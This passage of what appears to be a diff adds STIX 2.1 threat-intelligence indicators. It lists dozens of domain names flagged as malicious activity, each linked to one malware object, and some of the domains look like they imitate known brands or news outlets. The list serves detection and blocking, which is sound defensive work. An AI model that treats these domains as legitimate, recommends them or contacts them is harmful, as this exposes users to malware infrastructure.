"indicator--4051a4db-1ab1-414c-b08c-8fe52f562149", + "created": "2024-05-02T08:36:18.502063Z", + "modified": "2024-05-02T08:36:18.502063Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='doctorstar.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.502063Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e3314298-a5fe-4090-b6c8-730cde0485c5", + "created": "2024-05-02T08:36:18.502471Z", + "modified": "2024-05-02T08:36:18.502471Z", + "relationship_type": "indicates", + "source_ref": "indicator--4051a4db-1ab1-414c-b08c-8fe52f562149", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--86c7fc23-ea78-43fa-9d19-a61de1a79e5b", + "created": "2024-05-02T08:36:18.50257Z", + "modified": "2024-05-02T08:36:18.50257Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ten-group.eu']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.50257Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0723a2d2-c9dd-41fe-b782-6f58540cb576", + "created": "2024-05-02T08:36:18.503054Z", + "modified": "2024-05-02T08:36:18.503054Z", + "relationship_type": "indicates", + "source_ref": "indicator--86c7fc23-ea78-43fa-9d19-a61de1a79e5b", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5617db06-7760-4b82-8569-c8c49706ea3c", + "created": "2024-05-02T08:36:18.503155Z", + "modified": "2024-05-02T08:36:18.503155Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='onlineshoppingnetwork.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.503155Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--40118027-416a-4c2e-84aa-1bbe4c155b36", + "created": "2024-05-02T08:36:18.503627Z", + "modified": "2024-05-02T08:36:18.503627Z", + "relationship_type": "indicates", + "source_ref": "indicator--5617db06-7760-4b82-8569-c8c49706ea3c", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--781b75cc-d659-4bce-b4ba-6bc709eee664", + "created": "2024-05-02T08:36:18.503728Z", + "modified": "2024-05-02T08:36:18.503728Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hikewithmike.eu']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.503728Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1a9c1b2b-cda4-4bab-a287-5b194ddd53bc", + "created": "2024-05-02T08:36:18.504179Z", + "modified": "2024-05-02T08:36:18.504179Z", + "relationship_type": "indicates", + "source_ref": "indicator--781b75cc-d659-4bce-b4ba-6bc709eee664", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7fc8b03d-1841-4757-abe1-0d8237e01eb0", + "created": "2024-05-02T08:36:18.504276Z", + "modified": "2024-05-02T08:36:18.504276Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ericshop.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.504276Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f7fb300e-31d2-400c-8706-f572d6ef521e", + "created": "2024-05-02T08:36:18.504722Z", + "modified": "2024-05-02T08:36:18.504722Z", + "relationship_type": "indicates", + "source_ref": "indicator--7fc8b03d-1841-4757-abe1-0d8237e01eb0", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c0bcc420-7667-427a-a220-20c7d6e0d129", + "created": "2024-05-02T08:36:18.50482Z", + "modified": "2024-05-02T08:36:18.50482Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='vision-tech.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.50482Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--572d44a4-2201-4c3b-8eee-0d408e6ed69c", + "created": "2024-05-02T08:36:18.505271Z", + "modified": "2024-05-02T08:36:18.505271Z", + "relationship_type": "indicates", + "source_ref": "indicator--c0bcc420-7667-427a-a220-20c7d6e0d129", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--86b42898-0c6c-43c0-a7e1-e9b9514f8c35", + "created": "2024-05-02T08:36:18.505368Z", + "modified": "2024-05-02T08:36:18.505368Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='nicetreasures.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.505368Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--661976ae-a991-4fa4-844d-cc5725f53a47", + "created": "2024-05-02T08:36:18.50582Z", + "modified": "2024-05-02T08:36:18.50582Z", + "relationship_type": "indicates", + "source_ref": "indicator--86b42898-0c6c-43c0-a7e1-e9b9514f8c35", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6e742820-5367-466f-b0b7-e4f6d1f453f8", + "created": "2024-05-02T08:36:18.505919Z", + "modified": "2024-05-02T08:36:18.505919Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='applibraryupdate.network']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.505919Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--568fa5e4-43b5-43af-9128-b4e528f4b8bf", + "created": "2024-05-02T08:36:18.506381Z", + "modified": "2024-05-02T08:36:18.506381Z", + "relationship_type": "indicates", + "source_ref": "indicator--6e742820-5367-466f-b0b7-e4f6d1f453f8", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f4c70f4f-5fd6-44ce-95d9-dada8990ec39", + "created": "2024-05-02T08:36:18.506479Z", + "modified": "2024-05-02T08:36:18.506479Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hugetech.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.506479Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6dee6f66-e493-4a0b-8536-4d1463c714cf", + "created": "2024-05-02T08:36:18.506877Z", + "modified": "2024-05-02T08:36:18.506877Z", + "relationship_type": "indicates", + "source_ref": "indicator--f4c70f4f-5fd6-44ce-95d9-dada8990ec39", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b57c24b4-2a93-4ed3-8d55-789e0dd6144c", + "created": "2024-05-02T08:36:18.506974Z", + "modified": "2024-05-02T08:36:18.506974Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jotnanews.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.506974Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--05a891a3-d765-43e4-8ffb-3d8d0dcdef7d", + "created": "2024-05-02T08:36:18.507374Z", + "modified": "2024-05-02T08:36:18.507374Z", + "relationship_type": "indicates", + "source_ref": "indicator--b57c24b4-2a93-4ed3-8d55-789e0dd6144c", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3e0e84ce-f7c6-456f-a416-764c1c1a9fad", + "created": "2024-05-02T08:36:18.50747Z", + "modified": "2024-05-02T08:36:18.50747Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='alertanalysis.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.50747Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d5bdda79-3316-4b39-9a2c-af7c8895e197", + "created": "2024-05-02T08:36:18.50797Z", + "modified": "2024-05-02T08:36:18.50797Z", + "relationship_type": "indicates", + "source_ref": "indicator--3e0e84ce-f7c6-456f-a416-764c1c1a9fad", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a3027861-7e8c-4266-9613-d3a7f77671e4", + "created": "2024-05-02T08:36:18.508069Z", + "modified": "2024-05-02T08:36:18.508069Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bestgreenblog.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.508069Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--44c502cc-c7a5-4f88-9727-65af9924fb33", + "created": "2024-05-02T08:36:18.508476Z", + "modified": "2024-05-02T08:36:18.508476Z", + "relationship_type": "indicates", + "source_ref": "indicator--a3027861-7e8c-4266-9613-d3a7f77671e4", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--664873e2-3834-4429-a42a-7d5110548eec", + "created": "2024-05-02T08:36:18.508574Z", + "modified": "2024-05-02T08:36:18.508574Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='localsystems.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.508574Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5d4ff257-b25c-4279-b7d6-5cf3bedccadd", + "created": "2024-05-02T08:36:18.508976Z", + "modified": "2024-05-02T08:36:18.508976Z", + "relationship_type": "indicates", + "source_ref": "indicator--664873e2-3834-4429-a42a-7d5110548eec", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b660f275-7b4a-4352-ae31-6cae13d2b0da", + "created": "2024-05-02T08:36:18.509073Z", + "modified": "2024-05-02T08:36:18.509073Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='flexibilycompany.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.509073Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4e47197f-4ec6-4a51-bf68-8fc71ce2e58c", + "created": "2024-05-02T08:36:18.509481Z", + "modified": "2024-05-02T08:36:18.509481Z", + "relationship_type": "indicates", + "source_ref": "indicator--b660f275-7b4a-4352-ae31-6cae13d2b0da", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d80e3521-489b-4980-b907-a34a4725cdef", + "created": "2024-05-02T08:36:18.509579Z", + "modified": "2024-05-02T08:36:18.509579Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='yogurthome.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.509579Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7b5cadf1-0858-40b9-bb97-82de2fff0b33", + "created": "2024-05-02T08:36:18.510033Z", + "modified": "2024-05-02T08:36:18.510033Z", + "relationship_type": "indicates", + "source_ref": "indicator--d80e3521-489b-4980-b907-a34a4725cdef", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6a524bb8-7396-4735-a3fe-6474c8ef1b16", + "created": "2024-05-02T08:36:18.510131Z", + "modified": "2024-05-02T08:36:18.510131Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='drinksnow.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.510131Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3f386751-4261-4610-9525-8bc290ae18a1", + "created": "2024-05-02T08:36:18.510527Z", + "modified": "2024-05-02T08:36:18.510527Z", + "relationship_type": "indicates", + "source_ref": "indicator--6a524bb8-7396-4735-a3fe-6474c8ef1b16", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b6f4804c-450c-46e1-80e6-d68573ce78cc", + "created": "2024-05-02T08:36:18.510624Z", + "modified": "2024-05-02T08:36:18.510624Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='startupfit.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.510624Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--efb86bef-0168-4a51-80be-6ab6cce479fb", + "created": "2024-05-02T08:36:18.511076Z", + "modified": "2024-05-02T08:36:18.511076Z", + "relationship_type": "indicates", + "source_ref": "indicator--b6f4804c-450c-46e1-80e6-d68573ce78cc", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e4e33011-eddf-4cb0-bdd4-822d8647abb2", + "created": "2024-05-02T08:36:18.511175Z", + "modified": "2024-05-02T08:36:18.511175Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sensomatics.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.511175Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--103471ab-b103-4d43-a57a-b69cfda5d252", + "created": "2024-05-02T08:36:18.511578Z", + "modified": "2024-05-02T08:36:18.511578Z", + "relationship_type": "indicates", + "source_ref": "indicator--e4e33011-eddf-4cb0-bdd4-822d8647abb2", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4230b091-c5d7-4162-8ca4-d689c7c93e7d", + "created": "2024-05-02T08:36:18.511675Z", + "modified": "2024-05-02T08:36:18.511675Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='loyalpro.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.511675Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d8eb8c0a-e00e-4d23-b505-d68b8c768092", + "created": "2024-05-02T08:36:18.512073Z", + "modified": "2024-05-02T08:36:18.512073Z", + "relationship_type": "indicates", + "source_ref": "indicator--4230b091-c5d7-4162-8ca4-d689c7c93e7d", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--03342bc5-8645-4c2a-aac4-a5aaab769af4", + "created": "2024-05-02T08:36:18.512168Z", + "modified": "2024-05-02T08:36:18.512168Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='internationalre.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.512168Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f57f2347-3f7a-45be-a5bd-39c95d69c5ce", + "created": "2024-05-02T08:36:18.512722Z", + "modified": "2024-05-02T08:36:18.512722Z", + "relationship_type": "indicates", + "source_ref": "indicator--03342bc5-8645-4c2a-aac4-a5aaab769af4", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1530507b-d142-42fe-8905-585d7946f9d3", + "created": "2024-05-02T08:36:18.512822Z", + "modified": "2024-05-02T08:36:18.512822Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ups.so']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.512822Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--45633800-356d-4311-915f-44360ed86dec", + "created": "2024-05-02T08:36:18.513274Z", + "modified": "2024-05-02T08:36:18.513274Z", + "relationship_type": "indicates", + "source_ref": "indicator--1530507b-d142-42fe-8905-585d7946f9d3", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ce3e5f98-1ee6-45e7-95da-614f945439c6", + "created": "2024-05-02T08:36:18.513372Z", + "modified": "2024-05-02T08:36:18.513372Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jeuneafrique.eu']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.513372Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--84bec688-c027-454e-9354-6e9dbabf1fd6", + "created": "2024-05-02T08:36:18.513823Z", + "modified": "2024-05-02T08:36:18.513823Z", + "relationship_type": "indicates", + "source_ref": "indicator--ce3e5f98-1ee6-45e7-95da-614f945439c6", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3205c919-62e6-4aa8-9ef6-a611cfba1b6f", + "created": "2024-05-02T08:36:18.513921Z", + "modified": "2024-05-02T08:36:18.513921Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='maplebook.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.513921Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3a03c5b5-b9be-4766-a0ee-2218fcae052e", + "created": "2024-05-02T08:36:18.514322Z", + "modified": "2024-05-02T08:36:18.514322Z", + "relationship_type": "indicates", + "source_ref": "indicator--3205c919-62e6-4aa8-9ef6-a611cfba1b6f", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c017b63c-26d5-4ef6-b3e4-c660211d2741", + "created": "2024-05-02T08:36:18.514422Z", + "modified": "2024-05-02T08:36:18.514422Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='singoffice.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.514422Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a66c1069-cec8-4851-b976-f1a63f7b4423", + "created": "2024-05-02T08:36:18.514828Z", + "modified": "2024-05-02T08:36:18.514828Z", + "relationship_type": "indicates", + "source_ref": "indicator--c017b63c-26d5-4ef6-b3e4-c660211d2741", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7fa90c1b-3755-42b9-8487-37f213b45cb6", + "created": "2024-05-02T08:36:18.514925Z", + "modified": "2024-05-02T08:36:18.514925Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='echoswift.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.514925Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--68238939-1642-4f44-b8e6-33d770be39af", + "created": "2024-05-02T08:36:18.515324Z", + "modified": "2024-05-02T08:36:18.515324Z", + "relationship_type": "indicates", + "source_ref": "indicator--7fa90c1b-3755-42b9-8487-37f213b45cb6", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fa771a6d-acab-4d2a-95bd-f41c842a2d6d", + "created": "2024-05-02T08:36:18.515421Z", + "modified": "2024-05-02T08:36:18.515421Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='restroad.eu']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.515421Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--42739413-f68f-45bb-973a-e62dd7563726", + "created": "2024-05-02T08:36:18.515818Z", + "modified": "2024-05-02T08:36:18.515818Z", + "relationship_type": "indicates", + "source_ref": "indicator--fa771a6d-acab-4d2a-95bd-f41c842a2d6d", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4ad3773b-c2a5-43bf-9a8c-408acd895981", + "created": "2024-05-02T08:36:18.515915Z", + "modified": "2024-05-02T08:36:18.515915Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='flyrick.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.515915Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8b8f8996-0ada-4e80-b46a-00ab34dd376c", + "created": "2024-05-02T08:36:18.516307Z", + "modified": "2024-05-02T08:36:18.516307Z", + "relationship_type": "indicates", + "source_ref": "indicator--4ad3773b-c2a5-43bf-9a8c-408acd895981", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3713caaa-105c-4832-8330-cdd813287a77", + "created": "2024-05-02T08:36:18.516404Z", + "modified": "2024-05-02T08:36:18.516404Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gettechnology.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.516404Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f9e86cfe-dcfa-4994-bcd1-3cc78bc6e0b9", + "created": "2024-05-02T08:36:18.51681Z", + "modified": "2024-05-02T08:36:18.51681Z", + "relationship_type": "indicates", + "source_ref": "indicator--3713caaa-105c-4832-8330-cdd813287a77", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0d6ca33a-6457-4faf-b889-9f529ab011b0", + "created": "2024-05-02T08:36:18.51691Z", + "modified": "2024-05-02T08:36:18.51691Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tipvortex.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.51691Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cd9b0644-ff89-4878-ac86-c4a3e6c53575", + "created": "2024-05-02T08:36:18.51739Z", + "modified": "2024-05-02T08:36:18.51739Z", + "relationship_type": "indicates", + "source_ref": "indicator--0d6ca33a-6457-4faf-b889-9f529ab011b0", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c5032951-c820-43f7-9acb-fc0d71941879", + "created": "2024-05-02T08:36:18.51749Z", + "modified": "2024-05-02T08:36:18.51749Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='selfblank.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.51749Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cd122d2c-e2d9-4f7a-9c40-c3bd361a9731", + "created": "2024-05-02T08:36:18.517887Z", + "modified": "2024-05-02T08:36:18.517887Z", + "relationship_type": "indicates", + "source_ref": "indicator--c5032951-c820-43f7-9acb-fc0d71941879", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fcd8fb83-08e7-477f-820f-3872a0c96519", + "created": "2024-05-02T08:36:18.517989Z", + "modified": "2024-05-02T08:36:18.517989Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bestsflix.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.517989Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--13e8482d-fdaa-49dc-a94f-d0004e4ccbd0", + "created": "2024-05-02T08:36:18.518383Z", + "modified": "2024-05-02T08:36:18.518383Z", + "relationship_type": "indicates", + "source_ref": "indicator--fcd8fb83-08e7-477f-820f-3872a0c96519", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3c2706e1-6990-48ef-ac1a-d56630e72e14", + "created": "2024-05-02T08:36:18.51848Z", + "modified": "2024-05-02T08:36:18.51848Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='solararcade.eu']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.51848Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--51a2abdf-b7fc-4a0e-a467-f33ce43f2c3b", + "created": "2024-05-02T08:36:18.518875Z", + "modified": "2024-05-02T08:36:18.518875Z", + "relationship_type": "indicates", + "source_ref": "indicator--3c2706e1-6990-48ef-ac1a-d56630e72e14", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a5713d2d-2c63-43ee-aa6f-30570aba60b2", + "created": "2024-05-02T08:36:18.518971Z", + "modified": "2024-05-02T08:36:18.518971Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bbc.bio']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.518971Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cb860152-235d-4b95-8907-914683f921bf", + "created": "2024-05-02T08:36:18.519363Z", + "modified": "2024-05-02T08:36:18.519363Z", + "relationship_type": "indicates", + "source_ref": "indicator--a5713d2d-2c63-43ee-aa6f-30570aba60b2", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5bd61428-c468-4167-8d09-31bf85b4d854", + "created": "2024-05-02T08:36:18.519462Z", + "modified": "2024-05-02T08:36:18.519462Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='autotechhelp.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.519462Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c4b9479f-3b00-4109-9a2d-4140297b1a3f", + "created": "2024-05-02T08:36:18.519861Z", + "modified": "2024-05-02T08:36:18.519861Z", + "relationship_type": "indicates", + "source_ref": "indicator--5bd61428-c468-4167-8d09-31bf85b4d854", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cf2fa0b5-52aa-46ad-83f3-07982f54f454", + "created": "2024-05-02T08:36:18.519959Z", + "modified": "2024-05-02T08:36:18.519959Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jotnanews.co']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.519959Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ea7a8010-54c7-4a81-ad0b-f2bbfac93f0a", + "created": "2024-05-02T08:36:18.520352Z", + "modified": "2024-05-02T08:36:18.520352Z", + "relationship_type": "indicates", + "source_ref": "indicator--cf2fa0b5-52aa-46ad-83f3-07982f54f454", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--df1d0456-70e3-4341-9cde-4b88382471e3", + "created": "2024-05-02T08:36:18.520448Z", + "modified": "2024-05-02T08:36:18.520448Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='deepearnings.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.520448Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1ac7a687-c6ac-4056-9733-0ca48f5ee120", + "created": "2024-05-02T08:36:18.520844Z", + "modified": "2024-05-02T08:36:18.520844Z", + "relationship_type": "indicates", + "source_ref": "indicator--df1d0456-70e3-4341-9cde-4b88382471e3", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--033c398b-4840-4d5c-bba8-d723a4d23b1a", + "created": "2024-05-02T08:36:18.520939Z", + "modified": "2024-05-02T08:36:18.520939Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='globalbikeshop.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.520939Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3b4f1a79-2d4c-4bf7-a0e4-32fc70a1bc2a", + "created": "2024-05-02T08:36:18.521338Z", + "modified": "2024-05-02T08:36:18.521338Z", + "relationship_type": "indicates", + "source_ref": "indicator--033c398b-4840-4d5c-bba8-d723a4d23b1a", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" 